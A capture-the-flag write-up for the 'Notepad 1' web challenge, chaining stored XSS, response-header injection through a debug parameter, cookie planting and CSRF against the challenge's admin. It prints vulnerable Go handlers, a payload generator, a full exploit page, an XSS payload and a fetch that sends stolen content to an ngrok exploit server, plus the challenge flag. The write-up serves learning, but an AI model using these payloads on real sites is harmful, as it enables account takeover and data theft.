Notepad 1 - Snakehole's Secret
Stored XSS and Response Header Injection Leads to CSRF

Challenge

Description: Janet Snakehole, the rich aristocratic widow with a terrible secret, is being investigated by the FBI's number 1, Burt Tyrannosaurus Macklin. Burt found a website that she visits often. See if you can find anything.
Author: Az3z3l​

Solution

Stored XSS

At first glance, it is very clear that the site was vulnerable to XSS. For instance, adding the note <h1>Test</h1> results in the heading tags being injected:
When the page is first loaded, the init() function is called, and the displayed note's innerHTML is changed to the /get response.
Notes are added through a POST request to /add.
1
async function addNote() {
2
x=document.getElementById("note-dev").value.trim()
3
const response = await fetch("/add", {
4
method: 'POST',
5
headers: {
6
"Content-Type": "application/x-www-form-urlencoded",
7
},
8
body: `content=${x}`
9
});
10
z = await (response.text());
11
changeNote(x)
12
}
13
​
14
function changeNote(play){
15
let ele = document.getElementById('my-stuff');
16
ele.innerHTML = play+"<br />";
17
document.getElementById("note-dev").value = ""
18
}
19
​
20
async function init(){
21
const response = await fetch("/get", {
22
method: 'GET',
23
});
24
z = await (response.text());
25
changeNote(z)
26
}
Copied!
The /get endpoint retrieves notes from the Notes map, based on the user's ID cookie.
1
func get(w http.ResponseWriter, r *http.Request) {
2
id := getIDFromCooke(r, w)
3
x := Notes[id]
4
headerSetter(w, cType)
5
if x == "" {
6
fmt.Fprintf(w, "404 No Note Found")
7
} else {
8
fmt.Fprintf(w, x)
9
}
10
}
Copied!
The /add endpoint stores the user's notes, but only if the notes' content is less than 75 characters. In order to create a valid stored XSS payload, we must use a relatively short one.
1
func add(w http.ResponseWriter, r *http.Request) {
2
​
3
id := getIDFromCooke(r, w)
4
if id != adminID {
5
r.ParseForm()
6
noteConte := r.Form.Get("content")
7
if len(noteConte) < 75 {
8
Notes[id] = noteConte
9
}
10
}
11
fmt.Fprintf(w, "OK")
12
}
Copied!
Note that for all the API endpoints, the following cookies are set to prevent XSS.
1
// Prevent XSS on api-endpoints Β¬β€ΏΒ¬
2
var cType = map[string]string{
3
"Content-Type": "text/plain",
4
"x-content-type-options": "nosniff",
5
"X-Frame-Options": "DENY",
6
"Content-Security-Policy": "default-src 'none';",
7
}
Copied!
Since the notes are fetched based on the user's cookies, we still do not have a way to perform an XSS attack on the admin (we would only be able to do it to ourselves!).

Response Header Injection

There is one other API endpoint, though, that we haven't explored. The /find endpoint takes the condition, startsWith , endsWith and debug parameters. The first three are pretty simple - they help to check if the note starts with or ends with a certain substring.
The debug parameter, on the other hand, is quite interesting. If it is set, the 4 parameters above are deleted, and the remaining parameters are looped through. If the key matches the ^[a-zA-Z0-9{}_;-]*$ regex, and the value is less than 50 characters, then the key-value pair is set as a response header.
1
func find(w http.ResponseWriter, r *http.Request) {
2
​
3
id := getIDFromCooke(r, w)
4
​
5
param := r.URL.Query()
6
x := Notes[id]
7
​
8
var which string
9
str, err := param["condition"]
10
if !err {
11
which = "any"
12
} else {
13
which = str[0]
14
}
15
​
16
var start bool
17
str, err = param["startsWith"]
18
if !err {
19
start = strings.HasPrefix(x, "snake")
20
} else {
21
start = strings.HasPrefix(x, str[0])
22
}
23
var responseee string
24
var end bool
25
str, err = param["endsWith"]
26
if !err {
27
end = strings.HasSuffix(x, "hole")
28
} else {
29
end = strings.HasSuffix(x, str[0])
30
}
31
​
32
if which == "starts" && start {
33
responseee = x
34
} else if which == "ends" && end {
35
responseee = x
36
} else if which == "both" && (start && end) {
37
responseee = x
38
} else if which == "any" && (start || end) {
39
responseee = x
40
} else {
41
_, present := param["debug"]
42
if present {
43
delete(param, "debug")
44
delete(param, "startsWith")
45
delete(param, "endsWith")
46
delete(param, "condition")
47
​
48
for k, v := range param {
49
for _, d := range v {
50
​
51
if regexp.MustCompile("^[a-zA-Z0-9{}_;-]*quot;).MatchString(k) && len(d) < 50 {
52
w.Header().Set(k, d)
53
}
54
break
55
}
56
break
57
}
58
}
59
responseee = "404 No Note Found"
60
}
61
headerSetter(w, cType)
62
fmt.Fprintf(w, responseee)
63
}
Copied!
Remember how we couldn't get the admin to visit our note previously? Well, now we can! All we have to do is to inject a Set-Cookie header, setting the admin's ID cookie to our own.
But we still need the original admin's ID (otherwise, how do we get the admin's note?). We can get around that quite easily, though - by simply setting the Path of our custom cookie to /get, we can make sure that when the admin visits our main site, our custom id cookie is used (since the longest match "wins"). However, since the admin's original id cookie still exists with the Path set to /, the /find endpoint will still use the original admin ID.

Crafting Our Payload

On hindsight, this was way more complex than necessary. The intended solution simply used eval(window.name), since window.name can be set by the attacker when using window.open(). I'll share mine anyway, because it was quite interesting (to me at least).
Since we’re in innerHTML, the ideal way is to append a new script element and fetch our external script:
var newScript = document.createElement("script");newScript.src = "http://www.example.com/my-script.js";this.appendChild(newScript);
But there’s a 75 character limit in order for the XSS payload to be stored.
I ended up using cookies, since document.cookies will return a string like:
1
cookieA=valueA; cookieB=valueB; ...
Copied!
This format is very convenient to create JS code which we can eval(). Let the cookie name be var x, and the cookie value be eval(alert()), and we can run valid JavaScript code using eval(document.cookie):
1
var x = eval(alert())
Copied!
Since the header values also have a length limit of 50 characters, we need to set multiple cookies. Essentially, the document.cookies will return the following string (newlines inserted for clarity):
1
var A = "SOME_STRING";
2
var B = A + "SOME_STRING";
3
​
4
...
5
​
6
var a = Z + "SOME_STRING";
7
var b = eval(a)
Copied!
Here's the script to convert the payload to the necessary URLs to set the cookies:
1
import urllib.parse
2
import string
3
​
4
PAYLOAD = "var newScript = document.createElement('script');newScript.src = 'http://2e2e80a5f153.ngrok.io/exploit.js';this.appendChild(newScript);"
5
​
6
charcodes = []
7
for char in PAYLOAD:
8
charcodes.append(ord(char))
9
10
print(charcodes)
11
​
12
f = open("exploit.html", "w")
13
​
14
chars = string.ascii_uppercase + string.ascii_lowercase
15
i = 0
16
​
17
f.write("<script>\n")
18
while charcodes:
19
codes = [str(x) for x in charcodes[:5]]
20
charcodes = charcodes[5:]
21
22
if i == 0:
23
url = urllib.parse.quote(f"var {chars[i]}=String.fromCharCode({','.join(codes)});")
24
25
else:
26
url = urllib.parse.quote(f"var {chars[i]}={chars[i-1]}+String.fromCharCode({','.join(codes)});")
27
i += 1
28
29
url = "http://chall.notepad1.gq:1111/find?debug&Set-Cookie=" + url
30
​
31
f.write(f"window.open(\"{url}\");\n")
32
​
33
url = urllib.parse.quote(f"var {chars[i]}=eval({chars[i-1]});")
34
url = "http://chall.notepad1.gq:1111/find?debug&Set-Cookie=" + url
35
f.write(f"window.open(\"{url}\");\n")
36
​
37
f.write("</script>")
Copied!
With some modification of the output, the final exploit script is:
1
<script>
2
​
3
function wait(time) {
4
return new Promise(resolve => {
5
setTimeout(() => {
6
resolve();
7
}, time);
8
});
9
}
10
​
11
(async () => {
12
window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20A%3DString.fromCharCode%28118%2C97%2C114%2C32%2C110%29%3B");
13
window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20B%3DA%2BString.fromCharCode%28101%2C119%2C83%2C99%2C114%29%3B");
14
window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20C%3DB%2BString.fromCharCode%28105%2C112%2C116%2C32%2C61%29%3B");
15
window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20D%3DC%2BString.fromCharCode%2832%2C100%2C111%2C99%2C117%29%3B");
16
window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20E%3DD%2BString.fromCharCode%28109%2C101%2C110%2C116%2C46%29%3B");
17
window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20F%3DE%2BString.fromCharCode%2899%2C114%2C101%2C97%2C116%29%3B");
18
window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20G%3DF%2BString.fromCharCode%28101%2C69%2C108%2C101%2C109%29%3B");
19
window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20H%3DG%2BString.fromCharCode%28101%2C110%2C116%2C40%2C39%29%3B");
20
window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20I%3DH%2BString.fromCharCode%28115%2C99%2C114%2C105%2C112%29%3B");
21
window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20J%3DI%2BString.fromCharCode%28116%2C39%2C41%2C59%2C110%29%3B");
22
window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20K%3DJ%2BString.fromCharCode%28101%2C119%2C83%2C99%2C114%29%3B");
23
window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20L%3DK%2BString.fromCharCode%28105%2C112%2C116%2C46%2C115%29%3B");
24
window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20M%3DL%2BString.fromCharCode%28114%2C99%2C32%2C61%2C32%29%3B");
25
window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20N%3DM%2BString.fromCharCode%2839%2C104%2C116%2C116%2C112%29%3B");
26
window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20O%3DN%2BString.fromCharCode%2858%2C47%2C47%2C50%2C101%29%3B");
27
window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20P%3DO%2BString.fromCharCode%2850%2C101%2C56%2C48%2C97%29%3B");
28
window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20Q%3DP%2BString.fromCharCode%2853%2C102%2C49%2C53%2C51%29%3B");
29
window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20R%3DQ%2BString.fromCharCode%2846%2C110%2C103%2C114%2C111%29%3B");
30
window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20S%3DR%2BString.fromCharCode%28107%2C46%2C105%2C111%2C47%29%3B");
31
window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20T%3DS%2BString.fromCharCode%28101%2C120%2C112%2C108%2C111%29%3B");
32
window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20U%3DT%2BString.fromCharCode%28105%2C116%2C46%2C106%2C115%29%3B");
33
window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20V%3DU%2BString.fromCharCode%2839%2C59%2C116%2C104%2C105%29%3B");
34
window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20W%3DV%2BString.fromCharCode%28115%2C46%2C97%2C112%2C112%29%3B");
35
window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20X%3DW%2BString.fromCharCode%28101%2C110%2C100%2C67%2C104%29%3B");
36
window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20Y%3DX%2BString.fromCharCode%28105%2C108%2C100%2C40%2C110%29%3B");
37
window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20Z%3DY%2BString.fromCharCode%28101%2C119%2C83%2C99%2C114%29%3B");
38
window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20a%3DZ%2BString.fromCharCode%28105%2C112%2C116%2C41%2C59%29%3B");
39
window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=var%20b%3Deval%28a%29%3B");
40
41
await wait(1000);
42
window.open("http://chall.notepad1.gq:1111/find?debug&Set-Cookie=id=5e732a1878be2342dbfeff5fe3ca5aa3%3B+Path=/get");
43
44
var img = new Image();
45
img.src = 'http://2e2e80a5f153.ngrok.io/?data=' + 'Set cookies successfully.';
46
47
await wait(1000);
48
window.location.href = "http://chall.notepad1.gq:1111/";
49
})();
50
</script>
Copied!
Visiting these URLs set the following cookies. Notice that we have set the id cookie with the /get path, and that the original id with the / path is preserved.
After document.cookie.split('; ').sort(), the previously inserted cookies will be in the correct order, starting from var A, and each subsequent variable builds on top of the previous variable.
var a will end up being the full payload:
This is finally eval-ed again (inside the eval) by var b.
The XSS payload is then:
1
<img/src/onerror="eval(document.cookie.split('; ').sort().join(';'))">
Copied!
This takes up 70 characters, satisfying the length requirement in order to be stored.
Now, we can store this XSS payload! When the admin visits the site, our payload is fetched:
The only thing left now is to perform a CSRF to the /find endpoint to get the flag, and make a callback to our exploit server with the data.
1
fetch('find?startsWith=in')
2
.then(function(response) {return response.text();})
3
.then(function (text) {
4
var img = new Image();
5
img.src = 'http://2e2e80a5f153.ngrok.io/?data=' + encodeURIComponent(text);
6
})
Copied!

Pwned

This took way too long, because I didn't think of the simple window.name payload!
Regardless, I was excited to finally the flag, after way more pain than necessary.
inctf{youll_never_take_me_alive_ialmvwoawpwe}
Last modified 3mo ago